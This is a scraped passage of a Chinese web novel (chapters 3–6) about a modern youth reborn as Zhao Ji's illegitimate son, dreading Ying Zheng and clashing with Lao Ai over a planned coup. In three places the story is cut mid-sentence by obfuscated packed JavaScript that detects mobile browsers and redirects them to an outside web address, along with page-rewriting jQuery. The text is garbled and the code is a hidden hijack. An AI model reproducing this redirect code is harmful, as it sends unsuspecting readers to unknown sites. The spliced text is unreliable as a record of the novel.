《我,赵姬私生子,要凉》 3. 第 3 章 晚间,秦汉唐睡在赵姬派人为他准备的新房间里,翻来覆去好几次,却怎么也睡不着。 赵姬虽然对他还算有些感情,可他完全被当做不懂事的小孩子了,她根本不听他的话啊! 看样子,他原本的计划——通过影响赵姬来蝴蝶掉造反是行不通了。 接下来,他该怎么做? 秦汉唐烦躁地把自己团成一团,整个塞到了被窝里。 他才刚穿过来,对这个时代还没有足够的了解,一时半会儿,他还真想不到什么好办法。 如果可以,他也想徐徐图之,比如提前抱上亲哥的大腿,跟亲哥处好关系,向亲哥表忠心。 可现在,一切都来不及了。 根据赵姬和嫪毐透露的信息,再过几个月,秦王政就要及冠了,他们会选择在那时动手。 可他们俩的政治水平,哪里会是秦王政的对手呢? 从他们决定造反起,只怕秦王政就往雍城王宫派了无数探子,盯着他们的一言一行…… 赵姬那天说,造反成功就要让秦汉唐做新秦王,这话八成也已经传入了秦王政的耳中。 秦汉唐只要一想到这一点,就恨不得拿头哐哐撞大墙。 他可是上了秦王政黑名单的人呀!就算他对天发誓,说他对秦王之位真的没有兴趣,恐怕秦王政也不会信吧? 不对,秦王政说不准还真会信。毕竟原身还那么小,他对权势能有什么概念呢?阴谋夺权,不过是大人肮脏的想法罢了。 但,不管他信不信,最后的结果都没什么差别——赵姬的两个私生子会被装进袋子里摔死。 秦王政不会留着威胁他王位的人,哪怕这是两个懵懂稚子。 更何况,这两个私生子,是赵姬背叛秦王政的重要原因,留着他们,让秦王政情何以堪? 秦汉唐觉得,如果他站在秦王政那个位置上,他也不会留着这样两个碍眼的存在,至少要判他们个流放。 不过—— 秦汉唐一想到他会被装在布袋里活活摔死,他就不由瑟缩了一下。 之前电视剧演到这一幕的时候,他的注意力都在“嬴政”和“赵姬”身上,压根儿没有注意那俩被装进布袋里的崽。现在,他把自己代入那俩崽子,他整个人都不好了! 就就就非得一下一下地摔死吗?那该多疼啊! 秦汉唐不想死,更不想迎来那么悲惨的死亡。他想活下去,可他怎么想,都觉得自己面临的是个必死的局面。 都说天无绝人之路,可他的一线生机,究竟在哪里? 秦汉唐已经很困了,精神却依旧处于亢奋状态。想睡又睡不着的感觉,让他相当难受。 他一直折腾到后半夜,才沉沉睡去。 也不知是不是日有所思夜有所梦,他居然梦到了荆轲刺秦的场景。 梦中的秦王身形高大,秦汉唐哪怕是仰着脑袋,也看不见他的脸。 秦王手中举着一把有两个秦汉唐那么高的剑,朝着面前的刺客狠狠刺去。 那凌厉的剑法,让秦汉唐忍不住为之喝彩。然而,他才发出声音,秦王就发现了他的存在。只见秦王手中剑锋一转,长剑狠狠穿透了他的心脏…… 秦汉唐满头大汗地从睡梦中醒来,这时,天已大亮。 那种心脏被贯穿的疼痛感,始终残留在秦汉唐的身上,久久没有散去。直面死亡的恐惧,让秦汉唐整个人都处于战栗状态。 过了好一阵儿,平复了喘息的秦汉唐才终于从床上坐了起来。 雍城王宫中就他们几个主子,没有什么繁琐的规矩。 侍婢见秦汉唐醒了,就将侍奉秦汉唐洗漱更衣的人全部唤了进来。 秦汉唐无精打采地任由他们摆弄着,心中却还在琢磨着那场梦。 那场梦,难不成是预示着他注定要死于嬴政之手吗? 秦汉唐想到了始皇帝嬴政,想到了他的那些大才。听说始皇帝对手底下的功臣很好,从来不杀有功之臣。也不知如果他向秦王政展现他的“才华”,秦王政能不能绕他一命? 他的身份这样敏感,恐怕他越是有“才”,就死得越快吧?秦汉唐苦着脸想。 就算秦王政看他有用,暂且留他一条小命,说不准事后也会刀了他! “大公子,小公子来看您了!”身旁仆从的声音,将秦汉唐从恍恍惚惚的状态中给拉了回来。 他一听这个称呼,不由战战兢兢地想着,这年头,可不是随便来个富家子就能被称为“公子”的。必须得是出身诸侯之家的贵族男子,才能被称为“公子”。 虽然秦汉唐的生母是秦国太后,可他的生父既见不得光,又上不得台面。他配被人喊一声公子吗?配吗配吗? 没等秦汉唐纠结完,仆从们已经抱着他的便宜弟弟走了进来。 前日,小团子闹秦汉唐的时候正是晚上,秦汉唐没来得及好好打量他。 今日一瞧,这小团子生得虎头虎脑的,眉眼细看有几分像赵姬,倒是颇为可爱。 秦汉唐还没想好该怎么与这个便宜弟弟相处,就见小团子直直冲着他的腿撞了过来。 别看小团子人小,却生得十分敦实,秦汉唐让他一撞,顿时眼冒金星,险些直接栽倒在地。 “咯咯!不要窝了!” 小团子说着说着,像是遇到了什么极为伤心的事,嚎啕大哭了起来。 “咯咯!咯咯咯咯!咯咯咯咯咯!” 秦汉唐见他哭得这般伤心,产生了一种自己在欺负小小孩的错觉。 “喂,你不要哭了!我没有不要你!”秦汉唐手忙脚乱地哄了半天,小小孩却嚎得愈发厉害。 听着小小孩的魔音贯耳,秦汉唐露出了极为无奈的表情。 所以说,他最讨厌跟小小孩相处了,他压根儿就不知道该怎么带孩子呀! 小小孩不知嚎了多久,终于累了。他倒在秦汉唐的床上,沉沉睡了过去。 即使是在睡梦中,他的一双小手也不忘扒拉着秦汉唐,仿佛只有秦汉唐的气息,能够令他安心。 无奈之下,秦汉唐也只好和小小孩一起躺在床上。 负责侍奉小小孩的侍从向秦汉唐解释道:“昨夜,小公子没能等到大公子,大晚上惊醒好几回。他自出生以来,便不曾与大公子分开这么久……” 秦汉唐看了睡得正香的小孩一眼,再度叹了口气。 昨日他在赵姬面前说得信誓旦旦,他绝不会因为便宜弟弟的哭啼而心软。可今日,他发现,完全做不到啊! 作为一名生在红旗下,长在红旗下的新青年,他怎么能眼睁睁看着一个依赖自己的孩子哭得这么可怜却无动于衷呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805725|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦汉唐觉得,自己真是没救了。他都自身难保了,现在还要再带上个小“拖油瓶”。 看着弟弟腮帮子一鼓一鼓的样子,秦汉唐忍不住伸手戳了戳他的脸颊:“你倒睡得香!你知不知道,刀子已经快要落到我们的头上了?” 睡梦中的阿小自然听不见秦汉唐的话,他一张小脸上满是恬静的神色。被秦汉唐戳烦了,他就把脸转个方向继续睡。 秦汉唐看着他的后脑勺,一颗焦躁不安的心似乎也跟着平静下来。 他双眼无神地望着天花板,喃喃道:“会有办法的,一定会有办法的,我要好好想想……” 然而,还没等秦汉唐想到办法,就先迎来了嫪毐的铁拳。 当秦汉唐小小的身子被嫪毐撂倒在地时,他还不明白发生了什么。 他感觉,自己浑身的骨头都在叫嚣着疼痛。还没等他缓过劲儿来,他又被嫪毐攥着衣领拎了起来。 “你个吃里扒外的小畜生!吃我的,用我的,居然还要胳膊肘往外拐!早知道你是这么个反骨仔,你一出生,老子就该把你溺死在粪坑里!” “老子废了多少口舌,才终于说动赵姬。你倒好,在后面拆老子的台!嬴政那杂碎究竟给了你多少好处,让你这般替他卖命?” “你生来就是我嫪毐的儿子,你以为,你能跟我撇得清干系吗?你以为你卖了你老子,向嬴政小儿示好,他就会念你的好吗?做梦!” “看样子,是老子平日里对你太好了,好到你都忘了自己姓甚名谁了!” 秦汉唐在嫪毐手底下发出了剧烈的咳嗽声,嫪毐身形有多魁梧高大,就衬得他有多幼小纤弱。 这样的他,嫪毐仅仅只用一只手,就能拎起来。嫪毐稍稍用力些,就能折断他的手脚。 “旁人瞧不起老子也就罢了,没想到你这小畜生也瞧不起老子!怎么,你也觉得老子出身卑贱,不配向上爬是吗?老子告诉你,老子偏要出人头地给你们看看!” 秦汉唐闻言,心中一惊。 亏他还以为他将自己的那些小心思藏得很好呢,没想到,竟被嫪毐瞧在了眼中。 也是,嫪毐或许在政治方面手段笨拙,可他要是一点儿都不懂察言观色,又怎么可能将赵姬吃得死死的呢?终究是他小瞧了这个男人…… 随着周围空气越来越稀薄,秦汉唐的意识也开始变得有些模糊。 他自嘲地想,在嬴政来杀他之前,他该不会先死在嫪毐手上吧? 如果是这样,倒也不错,至少他不用再为将来的命运提心吊胆……个鬼啊! 死在嬴政手上,至少还能在史书中留下一笔。死在嫪毐这个阴险狡诈又卑劣猥琐的小人物手中,那就真是白死了! 能不死当然最好,如果非得极限二选一,他选嬴政! 不知过了多久,嫪毐终于将秦汉唐放了下来。 他阴恻恻的声音如同附着在肌肤上的毒蛇一样,令秦汉唐不寒而栗。 “你给我记住!你是我嫪毐的儿子!你的身上流着我这个卑贱之人的血脉,这是你永远也无法改变的事实!你我就是那阴沟里的老鼠,即使现在穿得光鲜亮丽,也没有人会忽略咱们的出生!” “想要改变这一切,就必须站在权利的巅峰!只有到了那个时候,你我才能洗去身上的卑贱,成为真正的人上人!” 4. 第 4 章 秦汉唐看着嫪毐狂热的神色,终于明白了他为何会放着好日子不过,走上谋反这条不归路。 除了欲壑难填之外,这种极致自负与极致自卑的心理,也是重要原因。 秦汉唐当然瞧不上嫪毐,但并不是因为嫪毐低微的出身。 嫪毐没有治国大才,没有足以服人的功绩,也没有力压群臣的本事。他能走到今天,凭的全是赵姬对他的信任。 这样的他,想要成为秦国实际的掌权者,简直不自量力。 即使他的对手不是嬴政,他也注定不可能成功。 在秦汉唐看来,嫪毐在尝到了权势的滋味儿过后,已经完全被权欲吞噬,成为了欲--望的奴仆。 嫪毐此人,对自己的亲儿子都这般冷酷,他对赵姬又能有几分真情呢? 这样一个权欲熏心之人,最终只会自取灭亡,秦汉唐自然不会与他为伍。 不过,刚刚从嫪毐手底下死里逃生的秦汉唐,已经意识到了他和这个疯子之间的体型差距。 他不敢再触怒这个疯子,只得小心地将自己的情绪隐藏起来。 嫪毐平日里显然鲜少能够在人前这般宣泄,秦汉唐唯唯诺诺的样子,恰好满足了他的表现欲。 这小东西的骨血是他给的,这小东西的命都掌握在他的手中,他在小东西面前,自然没什么不敢说的! 他对这小东西,有绝对的主导权! “你记着,唯有你老子,才会为了你好!你再怎么瞧不上你老子,终究只有你老子,会为你的前程筹谋!你就算在那嬴政小儿面前再怎么卖乖讨巧,难道他还能让你做秦王吗?” 秦汉唐:“……” 他没有做秦王的本事,也没有这个志向。嫪毐想独揽大权就直说,别拿他做借口。 秦汉唐心中这么想着,面儿上却像是将嫪毐的话听了进去。 他一边露出动容之色,一边在心中想着,他的演技可不怎么样,也不知道能不能将嫪毐给骗过去。 好在嫪毐这会儿正自我高--潮呢,没有把多少注意力放在秦汉唐的身上。 就在嫪毐自信心膨胀到极点之际,秦汉唐不知何时,悄悄地来到了他的身边儿。 他趁着嫪毐不备,狠狠给嫪毐来了一下! 来而不往非礼也,秦汉唐自认是个守礼的人。嫪毐刚刚那么对待他,他肯定不能不“回报”啊! 引以为傲的巨物是吧?靠着它吸引赵姬是吧?能拿那玩意儿来转车是吧?废了废了! 等到赵姬发现嫪毐不行了,也不知道她还会不会这么喜欢这个男人。 秦汉唐也算是与嫪毐相处了几日,他左看右看,都没看明白,赵姬究竟看上了嫪毐什么。要说嫪毐生得英俊魁梧,对赵姬体贴小意,也不是没有比嫪毐更加优秀的人。 所以说,赵姬这般钟意嫪毐,大概还真是因为他那方面的天赋吧? 一阵剧痛从不可言说之处传来,嫪毐疼得眼前阵阵发黑。 他没有想到,这小东西居然还敢反咬他一口,因此,他对秦汉唐根本没有一丝一毫的防备。 等到嫪毐缓过劲儿来的时候,他发现,小东西早就已经溜之大吉了。 他刚想去追,就发现那不可言说之处又疼了起来,他只好暂时放弃了这个想法,缓步离开了雍城王宫。 嫪毐没有在雍城王宫中直接找大夫,直觉告诉他,不能让赵姬知道这件事。 赵姬之所以会这般喜爱他,就是因为他在床笫之间能够满足她。要是让赵姬知道他那处受了伤,赵姬还会向从前那样重视他吗? 嫪毐不知道,也不敢赌。 他自己对赵姬没有多少真心,自然也不会相信赵姬对他能有多少真心。 幸好他这些日子忙着操持“大事”,时常宿在宫外。 嫪毐决定,等他回了宫外的府邸,再悄悄地派人寻个大夫来给他看看那处。 一想到导致他这般狼狈的罪魁祸首,嫪毐就不由恨得牙痒痒。 等他找到机会,看他怎么收拾这小畜生!小畜生反了天了,居然敢这么对待他老子! 与此同时,狠狠为自己出了一口恶气的秦汉唐一溜烟跑回了赵姬处。 他看着正在梳妆的赵姬,露出一副惴惴不安的样子。 “阿母,老登……我是说阿父最近火气是不是有些大啊?” “怎么,他朝你发脾气了?”赵姬放下了手中的梳子和头饰,看着自己的儿子。 她并不知道,刚刚,就在距离她一墙之隔的宫殿中,她的情人与儿子真切地想要置对方于死地。 虽然平日里阿大是对嫪毐不怎么亲近,但做儿子的敬畏自己的父亲,不是一件很正常的事吗?嫪毐担心嬴政对容不下他们的两个儿子,为了他们铤而走险,这难道还不能说明嫪毐对阿大和阿小的看重吗? 在赵姬看来,嫪毐与阿大和阿小,就是普通的父子关系。 嫪毐虽然不太会表达自己的情感,但他还是很爱自己的两个儿子的。 “你阿父最近压力很大,你要乖乖的,不要惹他烦心,知道吗?你要记着,他是为了你们,才走上这样一条路的。”赵姬说着,摸了摸秦汉唐的头。 秦汉唐听了这番话,简直要呕死。 嫪毐造反是为了他们?这话,也就只有赵姬会信了! 有时候,秦汉唐都不知道,赵姬心中究竟给那个狗男人叠了多少层滤镜。 赵姬这么恋爱脑,也幸好嫪毐的造反计划没有成功,否则,只怕赵姬分分钟被过河拆桥! 秦汉唐心中这么想着,却不愿与赵姬分辨此事。 他叫不醒一个被爱情冲昏了头脑的人,他甚至不敢肯定,究竟是两个儿子在她心中的地位更重要一些,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805726|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗男人在她心中的地位更重要一些。 秦汉唐只知道,他已经将嫪毐给得罪死了。接下来,他必须借助赵姬的力量,才能保全自身。 他虽然出了一口恶气,却也不是没有任何代价的。 好在嫪毐伤的那处有些难以启齿,他不一定会告诉赵姬。 甭管嫪毐有多恨秦汉唐,至少在赵姬面前,他不会也不能表现出这份恨意,否则,他可就崩了他在赵姬心中的“爱子”人设了! “阿母,这些日子我搬过来跟你一起住好不好?等老……等阿父消气了,我再搬回去住。要是没有你保护我,我肯定要挨揍了!”秦汉唐可怜巴巴看着赵姬,双眼中满是水光。 赵姬假装不为所动,眼中的笑意却泄露了她的真实心情。 秦汉唐见状,拉长了语调:“阿娘~” “好吧,这些日子,你就搬过来与我一起住吧。不过,你弟弟怎么办?” “他……”秦汉唐想起阿小一看不到自己就水漫金山,也觉得有些头疼。 他抿了抿唇,最终还是道:“阿小已经是大孩子了,要学会自己一个人住才行。他不可以再这么依赖哥哥了。” 才只有两岁的阿小:“?” 很快,嫪毐那方面疑似受伤的消息,就传入了咸阳王宫。 秦王政才刚刚褪去少年的青涩,露出犀利的锋芒。 不知是不是得到了太后与嫪毐密谋造反的消息,秦王政这些天一直沉着一张脸。 整个咸阳王宫,都因为秦王心情不悦,而阴云罩顶。 秦王政睁开双目,子夜般的双眼中,划过了一丝利芒。 “这样的消息,日后不需要禀报给寡人。若嫪毐与太后有什么异动,再来向寡人汇报!” “是。” 底下的人见秦王政的注意力都集中在赵太后与嫪毐身上,一句都没有提到他那两个私生子弟弟,他到了嘴边的话,不由咽了回去。 近几日赵姬的私生子常有异样举动,原本他是想将这些消息汇报给秦王政的。 不过,秦王政既然对他的两个同母异父的弟弟毫无兴趣,就说明与他们相关的信息无关紧要吧? 秦王既然不关心那两个私生子,他们这些做下属的,自然也没有必要关心他们。 秦王年少继位,至今还没能亲政。 相邦吕不韦独揽大权,大有推迟秦王亲政时间的意思,太后赵姬不说帮自己的儿子,反倒伙同情夫准备造自己儿子的反,这都是些什么事儿啊! 底下的人想到这里,不由摇了摇头。 罢了,这些原也不是他们需要操心的,他们只需要听刚从秦王的号令即可。 秦王是他们为之效忠的主君,秦王的手段与魄力,他们再清楚不过。 无论那些别有用心的人如何蹦跶,最终这大权还是会回到秦王的手中。 5.第 5 章 在得到赵姬的许可后,秦汉唐抱着自己的小被子、小枕头搬入了她的宫殿。 他选了一处距离赵姬的寝殿最近的偏殿,方便一有什么风吹草动,就去找赵姬搬救兵。 不过,不知嫪毐的“伤”是不是还没有看好,秦汉唐在搬过来之后,压根儿就没见过嫪毐几次。 还是赵姬担心嫪毐的安危,派人去召唤嫪毐入宫,秦汉唐才再一次见到了嫪毐。 四五天没见,嫪毐身上的阴鸷加重了几分。 秦汉唐完全有理由相信,他怕是那方面不行了,激素失衡了。 当嫪毐的目光朝着秦汉唐扫过来的时候,那眼神中的寒芒让秦汉唐打了个哆嗦。 他身上被嫪毐摔出来的乌青部位,似乎又开始隐隐作痛了。 秦汉唐赶忙躲在了赵姬的身后,避开了嫪毐阴恻恻的眼神。 赵姬见状,朝嫪毐抱怨道:“你瞧瞧你,如今是愈发不着家了!几天不知道回来,也不知道你都在外头忙些什么!你还一回来就吓唬孩子!你瞧瞧,阿大都让你吓唬成什么样了?你这样,他怎么可能跟你亲近呢?” 嫪毐赶忙对着赵姬赔不是:“我在外头忙什么,难道你还不知道么?我在为了咱们的将来而努力。现在咱们相处的时间少一些,未来咱们才能长长久久地在一起!至于我吓到了阿大,那也不是我的本意。我在外面办事,要是不把这气场撑起来,底下的人怎么肯卖力替我干活?我回来之后没收住身上的气场,吓到了阿大,是我的不是。” 他说的得合情合理,秦汉唐却在赵姬身后冲嫪毐翻了个白眼。 方才嫪毐那恶意分明就是直冲着他来的,亏嫪毐还在赵姬面前睁眼说瞎话! “你就算再忙,也不能几天不着家啊!你人不回来,也不派人送个口信儿,我们哪知道你是不是在外面出了什么事?”赵姬蹙眉道。 嫪毐赶忙连连告饶,并保证自己再也不会这么做了。以后,就算他再忙,他也会至少每三天回一次雍城王宫。如果回不来,他会派人给赵姬带个信儿,向赵姬保平安,并告诉赵姬他在忙些什么。 赵姬闻言,这才放过了嫪毐。这时,她想起身后的秦汉唐,便将秦汉唐从自己的身后薅了出来,推到了嫪毐面前:“还有阿大呢,你怎么说?有你这么做人阿父的么?平日里不着家,一回来就吓唬孩子!你要真觉得你理亏,就跟阿大道个歉。阿大与你关系一直这么冷淡,也不是个办法。你得想法子让阿大原谅你,喜欢上你。” 嫪毐闻言,脸色渐渐难看了起来:“哪有做老子的跟儿子道歉的?让老子给这小子道歉,除非把老子的头拧下来转三圈!” 他可以跟赵姬做小伏低,可要让他向秦汉唐低头,那绝对不行! 更何况,现在秦汉唐在嫪毐心中就是个反骨仔,不孝子,嫪毐不收拾秦汉唐就不错了! 赵姬一看嫪毐这样儿,就知道他还惦记着在儿子面前做个严父呢。多数时候,嫪毐都愿意顺着赵姬,唯有在少数事情上,他有自己的坚持。 赵姬也不忍心让嫪毐为难,她叹了口气,捏了捏秦汉唐的小手,示意秦汉唐主动上前亲近嫪毐。 既然做老子的不肯主动低头,自然就只有做儿子的率先服软了。所幸阿大性子活泼,又惯会在长辈面前卖乖讨好,由他出马,想来打破僵局不是一件难事儿。 可赵姬不知道的是,秦汉唐本就对嫪毐感官不佳,又因为前些天遭遇了一顿毒打,对嫪毐耿耿于怀,他怎么可能主动去讨好嫪毐呢? 赵姬捏了秦汉唐几次,他便缩回了赵姬的身后,只露出一双眼睛盯着嫪毐。 嫪毐看着赵姬身后的小脑袋,眼中寒意更甚。 赵姬见父子俩谁也不肯低头,不由暗自摇头。这对父子究竟是怎么走到这样水火不容的地步的? 她明明记得,以前嫪毐与儿子的关系虽然不算亲密,但嫪毐偶尔还能把儿子顶在头上让他骑的。 赵姬:“阿大,既然你这般惧怕你的阿父。要不,你先出去吧?” 正好接下来她还有要事要与嫪毐商议,不方便让儿子留在一边听。 赵姬倒不是担心她儿子跑出去泄密什么的,阿大又出不去雍城王宫,泄哪门子密? 只是,阿大那般崇拜他的兄长,要是让他留下来听他的父母打算怎么对付他的兄长,对于他而言,大概是一件很残忍的事情吧?因此,赵姬便想着让自家儿子避一避。 “不要,阿母在哪里,我就在哪里!”秦汉唐摇了摇头,坚定地拒绝了赵姬的提议。 嫪毐在宫中的时候,他可不敢离开赵姬身边。不然,鬼知道嫪毐会不会趁着赵姬不注意,背地里对他下黑手! “既如此,你也留下来听听吧。”赵姬叹了口气:“如今你虽然还小,但你既然身处是非中心,日后早晚都是要知道这一切的……” 秦汉唐顿时提高了警惕。 等等,赵姬这是在说什么? 前些天,赵姬和嫪毐拍板决定要造嬴政的反之后,秦汉唐就没看到他们有进一步的举措了,无论是计划还是实际行动都没有。当时秦汉唐还想着,这俩人组建的造反小分队可真是草台班子,东一榔头西一锤子,没个具体可行的规划。 现在听赵姬这意思,他俩是准备继续商量怎么造反了? 秦汉唐竖起了耳朵,这样重要的信息,他可万万不能错过。 嫪毐冷冷扫了秦汉唐一眼,对于赵姬同意留下秦汉唐这个反骨仔旁听,他是很不满意的。 不过,秦汉唐毕竟还是个幼童,连雍城王宫都出不去,料他也碍不着什么事儿! “动手的时日,最好选在嬴政来雍城之时。平日里嬴政在咸阳,有卫队的保护,我们很难得手。等他到了雍城,就等于是落入了我们的地盘!”嫪毐提议。 赵姬道:“除了祭祖的时候之外,政儿很少来雍城。不过,他及冠的时候,定会来雍城举行冠礼。莫非,你是想趁着那个时候——” “不错!既然那嬴政小儿瞧不起我,咱们就给他一个永生难忘的及冠礼吧!”说完这话,嫪毐赶忙叮嘱赵姬:“这是关乎着我们生死存亡的大事,你可别心软!要是错过了这个机会,我们就不知道什么时候能够等来下一个机会了!待他及冠,他肯定不会放过我们的!” “我知道。”赵姬扯了扯嘴角,却笑不出来,她木愣愣地看着嫪毐:“我既然答应了你,就不会反悔。你先拿着我的太后印玺去训练士兵,就说要为数月之后秦王的冠礼做准备。秦王既然来了咱们雍城,咱们雍城的士兵自然要负责保护他的安全。” “不错,这是一个十分正当的理由,任谁也挑不出什么错处来。”嫪毐点头:“待嬴政举行冠礼之时,我们就命令这些士兵冲入宫中控制住嬴政!然后率军攻回咸阳,坐上王位!” 秦汉唐:“……” 这漏洞百出的计划,他都不想说什么了。 嫪毐骗雍城的士兵说他们是去保护秦王政的,结果他却要率领这些士兵攻打秦王政。他怎么能够肯定这些士兵不会临阵倒戈呢? 他本人可没有多少人格魅力,也没有培养出多少死忠。有多少人会明知道他是在造反,还要跟着他一条道走到黑的?秦汉唐表示很怀疑。 再说,赵姬的太后印玺能够调动的军队有限,守守雍城这地界是够了。可嫪毐居然还想凭这些人打回咸阳?嫪毐真当那些大秦虎将是吃素的吗?就算再加上嫪毐封地上那些人,也远远不够啊! 最后,嫪毐究竟是怎么会觉得嬴政很好抓的?他有不知多少前辈和后辈们想要刺杀嬴政,都没能成功,他是凭什么觉得自己可以成功的? 秦汉唐正在心中吐槽着,就听到耳边赵姬和嫪毐为“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819535|158498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划成功之后是否要留下嬴政的性命”吵了起来。 嫪毐主张斩草除根,永绝后患,赵姬则坚持先俘虏嬴政,万不得已再取他性命。 以往在大事上非常肯听从嫪毐意见的赵姬,在这件事上是少有的坚持。 不知怎么,秦汉唐听了,却一点儿都不紧张,只觉得喜感。 赵姬和嫪毐的造反水平,真是李世民看了流泪,赵匡胤看了沉默,朱棣看了翻白眼的水准呐! 死忠军队是没有的,朝中盟友是不找的,造反全凭一腔勇气和一枚太后印玺,他俩咋不上天呢? 秦汉唐听他们吵了半天还没吵出个结果,忍不住道:“与其考虑怎么处置秦王政,你们难道不更应该思考一下该怎么解决秦国宗室吗?” “不管你们的计划成不成功,秦国宗室是肯定不会善罢甘休的!你们要是真想掌握秦国大权,那你们肯定绕不开秦国宗室!” “要是你们解决不了秦国宗室的问题,还是趁早放弃造反计划吧!” 秦汉唐的一番话,让争得面红耳赤的赵姬和嫪毐都陷入了沉默之中。 赵姬语气急促地道:“阿大说得有道理,咱们应该先考虑怎么将政儿和秦国宗室同时控制住!这样一来,咱们最好留着政儿的命。万一有秦国宗室不服,咱们还可以假借政儿的名义讨伐他们!” “你倒是找到了一个留下嬴政性命的理由!”嫪毐说完这番话,也没有再继续与赵姬争执。 毕竟,这是个很现实的问题。 他阴恻恻的目光落在了秦汉唐的身上,他感觉自己从未真正认识过这个儿子。 一直以来,嫪毐都将他与赵姬的两个儿子当成他的附属品。 他没有料到,这个儿子,竟会屡屡给他“惊喜”。 “你既然提出了这个问题,那么,你可有解决之策?”嫪毐问。 秦汉唐缩了缩脖子:“这是你们大人需要考虑的事,为什么要问我啊?自己的问题,当然要想办法自己解决呀!” 别说他从来就没考虑过造反这回事,就是他有解决秦国宗室的办法,他也不会告诉这俩人。 年龄就是他的保护伞,他想说什么可以直说,不想说什么就推说不知道。 赵姬闻言,立马上前维护儿子:“既然阿大说他不知道,咱们就另想法子吧。阿大小小年纪就能给咱们提这个醒,已经很不错了,咱们不能苛求更多。” 等到嫪毐离开之后,赵姬的所有活力仿佛被他带走了。 她茫然地打量着四周,空茫的声音回荡在寝殿中。 “阿大,你可知,这邸(屏风)是我们刚刚回秦那年,政儿命人送来的,他说这邸正合我用,若我不喜欢,他再为我换个新的……他送的,我怎么会不喜欢呢?何况,他的眼光向来不错。” “这些珠宝首饰,是政儿继位的第二年其他国家献上的。政儿见这些珠宝首饰品质上佳,便一股脑地派人送给了我。我说让他留几件拿来哄他未来的妻妾开心,他却说我是太后,最好的东西理应先紧着我……” “这玉器,是我四年前过生辰的时候,政儿为我送上的生辰礼。只是我那会儿大着肚子不方便见他,便称病卧床,只收下了贺礼,又将他派来祝寿的人敷衍走了……政儿不知实情,还以为我身子真不好了,没多久又派人为我送来了许多珍惜的药材……” 说着说着,赵姬眼中又泛起了泪花:“政儿待我这般好,是我对不住他!” “我曾说过,待政儿及冠之时,我会精心为他准备一份礼物,庆祝他人生中仅此一次的盛典……我万万没有想到,有朝一日,我竟会算计上他的冠礼……” 秦汉唐看着痛哭流涕的赵姬,发出了一声喟叹。 何必呢?既然舍弃嬴政,对于赵姬来说是一件如此痛苦的事,她何必非要头铁地跟着嫪毐造反呢? 6.第 6 章 这下子,赵姬也顾不得悲伤了,赶忙伸手捂住了秦汉唐的嘴:“你这孩子,胡说八道些什么!这种晦气话怎么可以随便乱说呢?!” 秦汉唐努力将赵姬的手扒拉了下来。 赵姬的力气并不大,但秦汉唐毕竟还是个小孩子,他颇费了一番功夫,才终于将赵姬的手拉了下来。 这个时候,他才意识到,穿成一个小孩子有多不方便。即使是赵姬这样的弱女子,也能够轻易辖制住他。 秦汉唐暂且将这些心思压了下来,看向赵姬:“我可没有胡说八道!阿母,你仔细想想,你跟阿父方才商量的计划,有任何可行性吗?” “咱们雍城的卫队,终究是秦王的卫队。他们纵使暂时听从你的调派,那也是因为你是太后。要是他们知道你这个太后打算对秦王不利,他们真的还会追随你和阿父吗?” “你跟阿父在朝中又培养出了多少死忠呢?你们想造反,有多少人会支持你们?我听人家说,吕相是秦国非常有权势的人,阿母觉得,吕相要是知道你和阿父要造兄长的反,他是会站在你们这一边,还是会站在兄长那一边呢?” “还有我方才提到的秦国宗室的问题。就算阿母你可以利用兄长对你的情分控制住他,难道那些秦国宗室也会乖乖听从你的调派吗?他们对你可没有什么感情,他们难道不会趁此机会篡夺秦国王位吗?” 秦汉唐觉得,怕是嬴政这些年王位坐得太稳了,让赵姬忽略了他上位之前跟他弟弟长安君的明争暗斗,也忽略了秦国之前几代的王位争夺战。 远的不说,就说嬴政他爹,为了跟他的那些个兄弟们争夺王位,也没少下功夫。嬴异人归秦之后,为了讨好嫡母华阳夫人,连名字都给改成了嬴子楚。嬴子楚就算有质赵的功劳,就算有吕不韦帮他筹谋,他也是费了老鼻子劲儿才干过了他的那些兄弟。 嬴子楚的祖父,战国大魔王嬴稷继位的时候,就更不用说了。跟大魔王抢王位的惠文后和公子壮直接被杀了。 赵姬难道以为秦国这些宗室是什么省油的灯吗?他们愿意服从嬴政,起先是因为嬴政代表“正统”,后来是因为嬴政手段过人。 难道赵姬和嫪毐觉得他们上他们也行? 赵姬被秦汉唐这一连串的问题砸得头晕。 许多问题,她并没有深入思考过。 比如,她觉得她是太后,那她手底下的人就该听她的。她从来没考虑过她还要花精力和钱财去笼络手底下的人。 再比如,她觉得,要是她和嫪毐连秦王都控制住了,那秦国的王位不理所当然是他们的吗? 她和嫪毐的儿子都当秦王了,底下的臣子要是不肯服从新秦王,这些人就是造反!面对造反者,直接派军队去抓捕就是了! 